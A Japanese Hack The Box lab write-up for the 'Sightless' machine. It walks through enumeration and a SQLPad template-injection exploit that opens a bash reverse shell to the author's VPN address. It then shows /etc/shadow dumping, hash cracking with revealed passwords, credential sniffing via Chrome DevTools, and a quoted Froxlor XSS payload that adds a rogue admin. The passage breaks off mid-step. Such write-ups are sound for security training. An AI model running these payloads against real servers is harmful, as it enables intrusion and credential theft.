- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査
- 名前解決のためのhostsファイル更新(2回目)
- Webサイトの動作確認
- SQLPadの脆弱性(CVE-2022-0944)を悪用したリバースシェル
- John the Ripperを用いてハッシュ値解析(/etc/passwd、/etc/shadowの記載から解析)
- michaelユーザーでSSHのログイン
- 特権昇格のための調査(SUIDなど)
- 名前解決のためのhostsファイル更新(3回目)
- ポートフォワードを用いた8080番ポートへのアクセス
- Google ChromeのDevToolsを用いた認証情報取得
- Burp Suiteの設定(localhostをプロキシ経由にする設定)
- Froxlorの脆弱性(CVE-2024-34070)を悪用したクロスサイトスクリプティング(XSS)攻撃
- FTPを用いたweb1ユーザーでログイン
- John the Ripperを用いてパスワード解析(KeePass)
- KeePassファイルへのアクセス
- rootユーザーでSSHのログイン
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Sightless」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) 名前解決のためのhostsファイル更新(1回目)
(3) Webアクセスできるファイル/ディレクトリ調査
(4) 名前解決のためのhostsファイル更新(2回目)
(5) Webサイトの動作確認
(6) SQLPadの脆弱性(CVE-2022-0944)を悪用したリバースシェル
(7) John the Ripperを用いてハッシュ値解析(/etc/passwd、/etc/shadowの記載から解析)
(8) michaelユーザーでSSHのログイン
(9) 特権昇格のための調査(SUIDなど)
(10) 名前解決のためのhostsファイル更新(3回目)
(11) ポートフォワードを用いた8080番ポートへのアクセス
(12) Google ChromeのDevToolsを用いた認証情報取得
(13) Burp Suiteの設定(localhostをプロキシ経由にする設定)
(14) Froxlorの脆弱性(CVE-2024-34070)を悪用したクロスサイトスクリプティング(XSS)攻撃
(15) FTPを用いたweb1ユーザーでログイン
(16) John the Ripperを用いてパスワード解析(KeePass)
(17) KeePassファイルへのアクセス
(18) rootユーザーでSSHのログイン
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。FTP(21/tcp)、SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.32
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 09:10 EDT
Warning: 10.10.11.32 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.32
Host is up (0.20s latency).
Not shown: 65132 closed tcp ports (reset), 400 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.95%I=7%D=10/22%Time=68F8D7E9%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20Se
SF:rver\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20tr
SF:y\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20
SF:being\x20more\x20creative\r\n");
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 194.90 ms 10.10.14.1
2 195.05 ms 10.10.11.32
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.22 seconds
名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.32/」にアクセスすると、「http://sightless.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.32 sightless.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://sightless.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u http://sightless.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 7l 12w 178c http://sightless.htb/images => http://sightless.htb/images/
200 GET 341l 620w 6252c http://sightless.htb/style.css
200 GET 340l 2193w 190652c http://sightless.htb/images/logo.png
200 GET 105l 389w 4993c http://sightless.htb/
301 GET 7l 12w 178c http://sightless.htb/icones => http://sightless.htb/icones/
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ gobuster dir -u http://sightless.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Sightless_80.txt
ーーー(省略)ーーー
/icones (Status: 301) [Size: 178] [--> http://sightless.htb/icones/]
/images (Status: 301) [Size: 178] [--> http://sightless.htb/images/]
Progress: 20478 / 20478 (100.00%)
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。
$ sudo dirsearch -u http://sightless.htb/
ーーー(省略)ーーー
[05:26:56] Starting:
[05:30:20] 301 - 178B - /images -> http://sightless.htb/images/
[05:30:20] 403 - 564B - /images/
Task Completed
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://sightless.htb/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 4993, Words: 1245, Lines: 106, Duration: 315ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 329ms]
icones [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 288ms]
[Status: 200, Size: 4993, Words: 1245, Lines: 106, Duration: 543ms]
ーーー(省略)ーーー
名前解決のためのhostsファイル更新(2回目)
(1) ブラウザを用いて「http://sightless.htb/」にアクセスして、下部にある「SQLPad」の「Start Now」をクリックする。
(2) 「http://sqlpad.sightless.htb/」にアクセスされるが、名前解決できないためWebページが正常に表示されない。
(3) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.32 sqlpad.sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.32 sqlpad.sightless.htb」が出力されることを確認する。
(4) ブラウザを用いて「http://sqlpad.sightless.htb/」にアクセスすると、Webページが表示される。
Webサイトの動作確認
(1) [︙] > [About]をクリックする。
(2) 本WebページはSQLPadのバージョン6.10.0で動作していることが分かる。
(3) Google検索で「SQLPad 6.10.0 exploit」を調べるとCVE-2022-0944のリモートコード実行(RCE)の脆弱性があることが分かる。
SQLPadの脆弱性(CVE-2022-0944)を悪用したリバースシェル
(1) 「https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb」にCVE-2022-0944の攻撃の流れが記載されていることが分かる。
【CVE-2022-0944を悪用した攻撃の流れ】
(a) [Connections] > [Add connection] をクリックする。
(b) MySQLドライバーを選択する。
(c) Databaseの項目に以下のデータを入力して送信する。例は「id>/tmp/pwn」コマンドを実行することを想定。
例 : {{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
(2) Kali LinuxのIPアドレスを確認する。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.14.2」
(3) Kali Linux側で1234/tcpで待ち受ける。
$ nc -lvnp 1234
listening on [any] 1234 ...
(4) 左上部の[Choose connections] > [New connection]をクリックする。
(5) 以下の値を入力して、「Save」をクリックする。
【Connection name】
任意の名前
【Driver】
MySQL
【Database】
{{ process.mainModule.require('child_process').exec('echo "#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.2/1234 0>&1" > /tmp/exploit.sh') }}

(6) 作成したデータベースを選択する。
(7) 左上部のデータベース名をクリックして、[New connection]を選択する。
(8) 以下の値を入力して、「Save」をクリックする。
【Connection name】
任意の名前
【Driver】
MySQL
【Database】
{{ process.mainModule.require('child_process').exec('/bin/bash /tmp/exploit.sh') }}

(9) データベースへ接続試行している旨のメッセージが表示されることを確認する。
(10) 「nc -lnvp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。ホスト名を確認したところコンテナ上にログインしていることが分かる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.32] 54062
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#
(11) 完全なシェルを奪取する。
※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。
$ which script
/usr/bin/script
$ /usr/bin/script -qc /bin/bash /dev/null
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(12) 現在ログインしているユーザー情報を確認すると、コンテナ上のrootユーザーであることが分かる。
※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
rootJohn the Ripperを用いてハッシュ値解析(/etc/passwd、/etc/shadowの記載から解析)
(1) ホームディレクトリとログインシェルが設定されているユーザーを確認する。
※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。
$ ls -l /home/
total 8
drwxr-xr-x 2 michael michael 4096 Aug 9 2024 michael
drwxr-xr-x 1 node node 4096 Aug 9 2024 node
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
(2) /etc/shadowファイルの内容を確認すると、rootユーザーとmichaelユーザーのパスワードハッシュ値の値が記載されていることが分かる。
※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。
$ cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
(3) /etc/passwdファイルに記載されたmichaelユーザーの箇所をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ vi passwd_michael
【passwd_michaelの内容】
michael:x:1001:1001::/home/michael:/bin/bash
(4) /etc/shadowファイルに記載されたmichaelユーザーの箇所をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ vi shadow_michael
【shadow_michaelの内容】
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
(5) unshadowコマンドを用いて/etc/passwdと/etc/shadowの内容を結合する。
※Kali Linux上で以下のコマンドを実行する。
$ unshadow passwd_michael shadow_michael > michael_unshadowed
$ cat michael_unshadowed
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:1001:1001::/home/michael:/bin/bash
(6) michaelユーザーのパスワードが「insaneclownposse」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ john --wordlist=/usr/share/wordlists/rockyou.txt michael_unshadowed
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
insaneclownposse (michael)
1g 0:00:01:09 DONE (2025-10-25 02:19) 0.01434g/s 840.9p/s 840.9c/s 840.9C/s kruimel..galati
Use the "--show" option to display all of the cracked passwords reliably
Session completed.michaelユーザーでSSHのログイン
(1) SSHを用いてmichaelユーザーで攻撃対象のマシン(Sightless)にログインする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh michael@sightless.htb
→パスワード(insaneclownposse)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、michaelユーザーであることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)
$ whoami
michael
(3) 一般ユーザー用のフラグファイルの内容を確認する。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ cat /home/michael/user.txt
f7efbb2fdec26bc05c4c0ad4858e3128特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認する。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ sudo -l
→パスワード(insaneclownposse)を入力する。
Sorry, user michael may not run sudo on sightless.
(2) SUIDファイルを検索する。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(3) .bash_historyファイルを確認すると、何も出力されない。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ cat /home/michael/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
21 open
22 open
80 open
3000 open
3306 open
8080 open
33060 open
39093 open
39365 open
40715 open
50028 open
(5) OSの情報を確認すると、「Ubuntu 22.04.4 LTS」であることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ uname -a
Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release: 22.04
Codename: jammy
(6) netstatコマンドで攻撃対象のマシン上の通信状況を確認すると、8080/tcpポートでサービスが起動していることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41947 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35549 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42823 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
(7) ssコマンドで攻撃対象のマシン上の通信状況を確認すると、8080/tcpポートでサービスが起動していることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:41947 0.0.0.0:*
LISTEN 0 5 127.0.0.1:35549 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:42823 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:21 *:*
(8) 起動しているプロセス一覧を確認すると、nginxとapache2のサービスが起動していることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ ps -ef --forest
ーーー(省略)ーーー
root 1212 1 0 13:09 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 1213 1212 0 13:09 ? 00:00:00 \_ nginx: worker process
www-data 1214 1212 0 13:09 ? 00:00:00 \_ nginx: worker process
ーーー(省略)ーーー
root 1220 1 0 13:09 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1221 1220 0 13:09 ? 00:00:01 \_ /usr/sbin/apache2 -k start
www-data 1222 1220 0 13:09 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 1223 1220 0 13:09 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 1224 1220 0 13:09 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 1225 1220 0 13:09 ? 00:00:01 \_ /usr/sbin/apache2 -k start
www-data 1687 1220 0 13:11 ? 00:00:01 \_ /usr/sbin/apache2 -k start
www-data 1688 1220 0 13:11 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 1689 1220 0 13:11 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 1690 1220 0 13:11 ? 00:00:01 \_ /usr/sbin/apache2 -k start
www-data 1692 1220 0 13:11 ? 00:00:00 \_ /usr/sbin/apache2 -k start
ーーー(省略)ーーー
(9) 起動しているプロセス一覧を確認すると、Chromeを含むスクリプトをいくつか実行していることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ ps -ef --forest
ーーー(省略)ーーー
root 1162 1 0 13:09 ? 00:00:00 /usr/sbin/cron -f -P
root 1175 1162 0 13:09 ? 00:00:00 \_ /usr/sbin/CRON -f -P
john 1205 1175 0 13:09 ? 00:00:00 | \_ /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john 1700 1205 0 13:12 ? 00:00:00 | \_ /bin/bash /home/john/automation/healthcheck.sh
john 2044 1700 0 13:25 ? 00:00:00 | \_ sleep 60
root 1177 1162 0 13:09 ? 00:00:00 \_ /usr/sbin/CRON -f -P
john 1204 1177 0 13:09 ? 00:00:00 \_ /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john 1613 1204 0 13:11 ? 00:00:00 \_ /usr/bin/python3 /home/john/automation/administration.py
john 1614 1613 0 13:11 ? 00:00:03 \_ /home/john/automation/chromedriver --port=59187
john 1625 1614 0 13:11 ? 00:00:06 | \_ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-p
john 1631 1625 0 13:11 ? 00:00:00 | \_ /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless -
john 1648 1631 0 13:11 ? 00:00:05 | | \_ /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozo
john 1632 1625 0 13:11 ? 00:00:00 | \_ /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headl
john 1677 1632 3 13:11 ? 00:00:27 | | \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1627 --no-sandbox --di
john 1649 1625 0 13:11 ? 00:00:01 | \_ /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US
john 1619 1613 0 13:11 ? 00:00:00 \_ [chromedriver] <defunct>
root 1178 1 0 13:09 ? 00:00:00 /usr/bin/containerd
ーーー(省略)ーーー
(10) apache2の設定ファイル(000-default.conf)を確認すると、admin.sightless.htbというFQDNを使用していることが分かる。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost 127.0.0.1:8080>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/froxlor
ServerName admin.sightless.htb
ServerAlias admin.sightless.htb
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet名前解決のためのhostsファイル更新(3回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
※Kali Linux上で以下のコマンドを実行する。
$ echo '127.0.0.1 admin.sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「127.0.0.1 admin.sightless.htb」が出力されることを確認する。
ポートフォワードを用いた8080番ポートへのアクセス
(1) Kali Linuxの1234番ポートに接続すると、攻撃対象のマシン(Sightless)の8080番にアクセスするようにポートフォワードの設定をする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh michael@sightless.htb -L 1234:127.0.0.1:8080
→パスワード(insaneclownposse)を入力する。
(2) nmapで攻撃対象のマシン(Sightless)の8080番でどのようなサービスが起動しているか確認すると、Webサーバが動作していることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ nmap -sS -sC -sV -A -p 1234 -Pn --min-rate 5000 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 23:45 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
1234/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-title: froxlor - Domain not configured
|_Requested resource was notice.html
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
OS details: Linux 2.6.32, Linux 5.0 - 6.2
Network Distance: 0 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds
(3) ブラウザを用いて「http://admin.sightless.htb:1234」にアクセスすると、FroxlorというWebページのログイン画面が表示される。
Google ChromeのDevToolsを用いた認証情報取得
(1) ssコマンドで通信状況を確認すると、動的ポート(43997/tcp)でGoogle Chomeが起動している。
※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。
$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 127.0.0.1:60919 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:39005 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:43997 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:21 *:*
(2) Kali Linuxの43997番ポートに接続すると、攻撃対象のマシン(Sightless)の43997番にアクセスするようにポートフォワードの設定をする。
※Kali Linux上で以下のコマンドを実行する。
ssh michael@sightless.htb -L 43997:127.0.0.1:43997
→パスワード(insaneclownposse)を入力する。
(3) Kali Linuxの左上部に「Chromium Web Browser」を入力して、「Chromium Web Browser」を起動する。
(4) 「chrome://inspect/」にアクセスして、「Configure …」をクリックする。
(5) Google Chomeの動的ポートにアクセスするように「127.0.0.1:43997」を入力して、「Done」をクリックする。
(6) アクセスに成功すると「Inspect」や「pause」などが表示されるため、「Inspect」をクリックする。
(7) しばらく待って [Network]タブ > [index.php] > [Payload]をクリックすると、「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」でログインできることが分かる。
(8) ブラウザを用いて「http://admin.sightless.htb:1234/」にアクセスして、「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」を入力してログインする。
(9) ログインに成功しトップページが表示される。
Burp Suiteの設定(localhostをプロキシ経由にする設定)
(1) ブラウザのURLに「about:config」を入力してアクセスして、「Accept the Risk and Continue」をクリックする。
(2) Firefoxの設定をする画面が表示される。
(3) 「network.proxy.allow_hijacking_localhost」の値を「true」にする。
Froxlorの脆弱性(CVE-2024-34070)を悪用したクロスサイトスクリプティング(XSS)攻撃
(1) 「Froxlor exploit」でGoogle検索すると、CVE-2024-34070のXSSの脆弱性があることが分かる。
(2) 「https://github.com/advisories/GHSA-x525-54hf-xr53」にCVE-2024-34070の攻撃の流れが記載されていることが分かる。
【CVE-2024-34070を悪用した攻撃の流れ】
(1) Burp SuiteのInterceptをonにする。
(2) Froxlorのログイン画面にてユーザー名とパスワードを入力して、ログイン試行する。
(3) loginnameパラメータの値を変更する。
【loginnameパラメータの例】
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}
(4) Burp SuiteのInterceptをoffにして、リクエストデータを送る。

(3) CyberChefを用いてURLデコードする。
【URLデコード前】
